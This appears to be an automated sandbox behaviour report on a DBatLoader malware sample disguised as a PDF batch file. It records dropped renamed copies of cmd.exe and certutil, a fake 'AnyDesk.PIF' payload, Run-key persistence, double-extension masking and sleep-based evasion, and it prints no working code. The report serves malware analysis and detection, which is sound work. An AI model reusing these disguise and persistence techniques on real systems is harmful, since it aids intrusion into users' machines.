Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Section loaded: ??.dll	Jump to behavior

Source: C:\Users\Public\Libraries\AnyDesk.PIF

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Drops PE files with a suspicious file extension

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: USD470900_COPY_800BLHSBC882001.PDF.bat

Static file information: File size 3383372 > 1048576

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: AnyDesk.PIF, AnyDesk.PIF, 0000000A.00000003.1426879864.000000007FC50000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1517170522.0000000020A8D000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1427511863.000000007F920000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1498326441.0000000002D5E000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1517170522.0000000020A5D000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1495264734.0000000002286000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: alpha.exe, 00000004.00000000.1398569202.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000004.00000002.1402970163.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000000.1403371619.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000002.1415146997.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000002.1422354773.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000000.1415961649.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.1424821170.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.1423749785.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000002.1429459275.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000000.1425860533.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, esentutl.exe, 00000010.00000003.1478304743.0000000005320000.00000004.00001000.00020000.00000000.sdmp, alpha.pif.16.dr, alpha.exe.3.dr
Source:	Binary string: ping.pdbGCTL source: esentutl.exe, 00000011.00000003.1483371503.0000000005120000.00000004.00001000.00020000.00000000.sdmp, xpha.pif.17.dr
Source:	Binary string: certutil.pdb source: kn.exe, 00000007.00000000.1403779482.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.1413735928.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.1416809661.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.1421176999.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.5.dr
Source:	Binary string: easinvoker.pdbH source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdb source: alpha.exe, 00000004.00000000.1398569202.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000004.00000002.1402970163.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000000.1403371619.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000002.1415146997.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000002.1422354773.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000000.1415961649.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.1424821170.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.1423749785.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000002.1429459275.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000000.1425860533.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, esentutl.exe, 00000010.00000003.1478304743.0000000005320000.00000004.00001000.00020000.00000000.sdmp, alpha.pif.16.dr, alpha.exe.3.dr
Source:	Binary string: easinvoker.pdbGCTL source: AnyDesk.PIF, 0000000A.00000003.1426879864.000000007FC50000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1517170522.0000000020A8D000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1497237334.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1427511863.000000007F920000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1498326441.0000000002D5E000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1517170522.0000000020A5D000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1427109635.0000000002AF6000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1481965290.0000000021982000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1481965290.00000000219B1000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1495264734.0000000002286000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ping.pdb source: esentutl.exe, 00000011.00000003.1483371503.0000000005120000.00000004.00001000.00020000.00000000.sdmp, xpha.pif.17.dr
Source:	Binary string: certutil.pdbGCTL source: kn.exe, 00000007.00000000.1403779482.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.1413735928.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.1416809661.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.1421176999.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.5.dr

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: 10.2.AnyDesk.PIF.2d30000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000003.1426879864.000000007FC50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1427511863.000000007F920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: alpha.exe.3.dr

Static PE information: 0xE1CBFC53 [Mon Jan 16 09:26:43 2090 UTC]

Source: C:\Users\Public\Libraries\AnyDesk.PIF

Code function: 10_2_02D4894C LoadLibraryW,GetProcAddress,FreeLibrary,

10_2_02D4894C

Source: alpha.exe.3.dr	Static PE information: section name: .didat
Source: kn.exe.5.dr	Static PE information: section name: .didat
Source: alpha.pif.16.dr	Static PE information: section name: .didat

Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC33668 push rsp; ret	7_2_00007FF68FC33669
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D363B0 push 02D3640Bh; ret	10_2_02D36403
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D363AE push 02D3640Bh; ret	10_2_02D36403
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D3C349 push 8B02D3C1h; ret	10_2_02D3C34E
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D5C378 push 02D5C56Eh; ret	10_2_02D5C566
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02E0C198 push eax; ret	10_2_02E0C1B6
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DEA166 push ecx; ret	10_2_02DEA179
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D36782 push 02D367C6h; ret	10_2_02D367BE
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D36784 push 02D367C6h; ret	10_2_02D367BE
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D5C570 push 02D5C56Eh; ret	10_2_02D5C566
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D3C56C push ecx; mov dword ptr [esp], edx	10_2_02D3C571
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D4AADF push 02D4AB18h; ret	10_2_02D4AB10
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D48AD8 push 02D48B10h; ret	10_2_02D48B08
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D4AAE0 push 02D4AB18h; ret	10_2_02D4AB10
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D3CBEC push 02D3CD72h; ret	10_2_02D3CD6A
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DA4850 push eax; ret	10_2_02DA4920
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D4886C push 02D488AEh; ret	10_2_02D488A6
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D3C9DF push 02D3CD72h; ret	10_2_02D3CD6A
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D46946 push 02D469F3h; ret	10_2_02D469EB
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D46948 push 02D469F3h; ret	10_2_02D469EB
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D42F60 push 02D42FD6h; ret	10_2_02D42FCE
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D5D2FC push 02D5D367h; ret	10_2_02D5D35F
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D3332C push eax; ret	10_2_02D33368
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D5D0AC push 02D5D125h; ret	10_2_02D5D11D
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D4306C push 02D430B9h; ret	10_2_02D430B1
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D4306B push 02D430B9h; ret	10_2_02D430B1
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D5D1F8 push 02D5D288h; ret	10_2_02D5D280
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D5D144 push 02D5D1ECh; ret	10_2_02D5D1E4
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D4F108 push ecx; mov dword ptr [esp], edx	10_2_02D4F10D
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D3D5A0 push 02D3D5CCh; ret	10_2_02D3D5C4
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02E0B876 push ecx; ret	10_2_02E0B889

Persistence and Installation Behavior

Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\Libraries\Faogvkgh.PIF	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\xpha.pif	Jump to dropped file
Source: C:\Users\Public\kn.exe	File created: C:\Users\Public\Libraries\AnyDesk.PIF	Jump to dropped file

Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\Libraries\Faogvkgh.PIF	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\alpha.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\xpha.pif	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\kn.exe	Jump to dropped file
Source: C:\Users\Public\kn.exe	File created: C:\Users\Public\Libraries\AnyDesk.PIF	Jump to dropped file

Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\alpha.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\xpha.pif	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\kn.exe	Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\alpha.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\xpha.pif	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\kn.exe	Jump to dropped file

Source: C:\Users\Public\Libraries\AnyDesk.PIF	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Faogvkgh			Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Faogvkgh			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.bat

Static PE information: USD470900_COPY_800BLHSBC882001.PDF.bat

Source: C:\Users\Public\Libraries\AnyDesk.PIF

Code function: 10_2_02D4AB1C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

10_2_02D4AB1C

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\SndVol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\SndVol.exe	Window / User API: threadDelayed 4346			Jump to behavior
Source: C:\Windows\SysWOW64\SndVol.exe	Window / User API: threadDelayed 5645			Jump to behavior

Source: C:\Windows\SysWOW64\esentutl.exe

Dropped PE file which has not been started: C:\Users\Public\xpha.pif

Jump to dropped file

Source: C:\Users\Public\alpha.exe	API coverage: 8.3 %
Source: C:\Users\Public\alpha.exe	API coverage: 8.3 %
Source: C:\Users\Public\kn.exe	API coverage: 0.8 %

Source: C:\Windows\SysWOW64\SndVol.exe TID: 8096	Thread sleep count: 4346 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\SndVol.exe TID: 8096	Thread sleep time: -13038000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\SndVol.exe TID: 8096	Thread sleep count: 5645 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\SndVol.exe TID: 8096	Thread sleep time: -16935000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E82978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	4_2_00007FF6A0E82978
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E8823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	4_2_00007FF6A0E8823C
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E735B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	4_2_00007FF6A0E735B8
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E71560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	4_2_00007FF6A0E71560
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E97B4C FindFirstFileW,FindNextFileW,FindClose,	4_2_00007FF6A0E97B4C
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E82978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	6_2_00007FF6A0E82978
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E8823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	6_2_00007FF6A0E8823C
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E735B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	6_2_00007FF6A0E735B8
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E71560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	6_2_00007FF6A0E71560
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E97B4C FindFirstFileW,FindNextFileW,FindClose,	6_2_00007FF6A0E97B4C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE3100 #357,FindFirstFileW,#359,FindNextFileW,FindClose,LocalFree,#357,	7_2_00007FF68FCE3100
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE10C4 #357,FindFirstFileW,LocalFree,FindNextFileW,FindClose,LocalFree,#357,	7_2_00007FF68FCE10C4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE6F80 #359,FindFirstFileW,FindNextFileW,FindClose,LocalAlloc,#357,	7_2_00007FF68FCE6F80
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC7C6F8 memset,qsort,#357,FindFirstFileW,GetLastError,bsearch,LocalAlloc,LocalReAlloc,LocalAlloc,FindNextFileW,GetLastError,DeleteFileW,GetLastError,#359,#357,FindClose,LocalFree,LocalFree,	7_2_00007FF68FC7C6F8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE234C wcschr,#357,#357,#359,FindFirstFileW,wcsrchr,_wcsnicmp,iswxdigit,wcstoul,FindNextFileW,#359,#359,#357,#357,LocalFree,LocalFree,FindClose,	7_2_00007FF68FCE234C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC85E58 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,	7_2_00007FF68FC85E58
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8DBC0 FindFirstFileW,GetLastError,CertOpenStore,CertAddStoreToCollection,CertCloseStore,FindNextFileW,GetLastError,GetLastError,#357,GetLastError,GetLastError,#357,LocalFree,CertCloseStore,CertCloseStore,FindClose,	7_2_00007FF68FC8DBC0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE1B04 FindFirstFileW,GetLastError,#357,#359,DeleteFileW,FindNextFileW,FindClose,#359,	7_2_00007FF68FCE1B04
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE19F8 #359,FindFirstFileW,FindNextFileW,FindClose,	7_2_00007FF68FCE19F8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCC3674 #357,LocalAlloc,#357,wcsrchr,FindFirstFileW,GetLastError,#359,lstrcmpW,lstrcmpW,#359,RemoveDirectoryW,GetLastError,#359,#359,FindNextFileW,FindClose,LocalFree,LocalFree,DeleteFileW,GetLastError,#359,	7_2_00007FF68FCC3674
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8D4A4 CreateSemaphoreW,GetLastError,CreateEventW,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,CloseHandle,CloseHandle,	7_2_00007FF68FC8D4A4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC4D440 GetFileAttributesW,#357,#357,#357,FindFirstFileW,LocalFree,#357,FindNextFileW,#357,LocalFree,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC4D440
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8B3D8 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,I_CryptCreateLruCache,GetLastError,I_CryptCreateLruCache,GetLastError,#357,	7_2_00007FF68FC8B3D8
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D35908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	10_2_02D35908

Source: C:\Users\Public\kn.exe

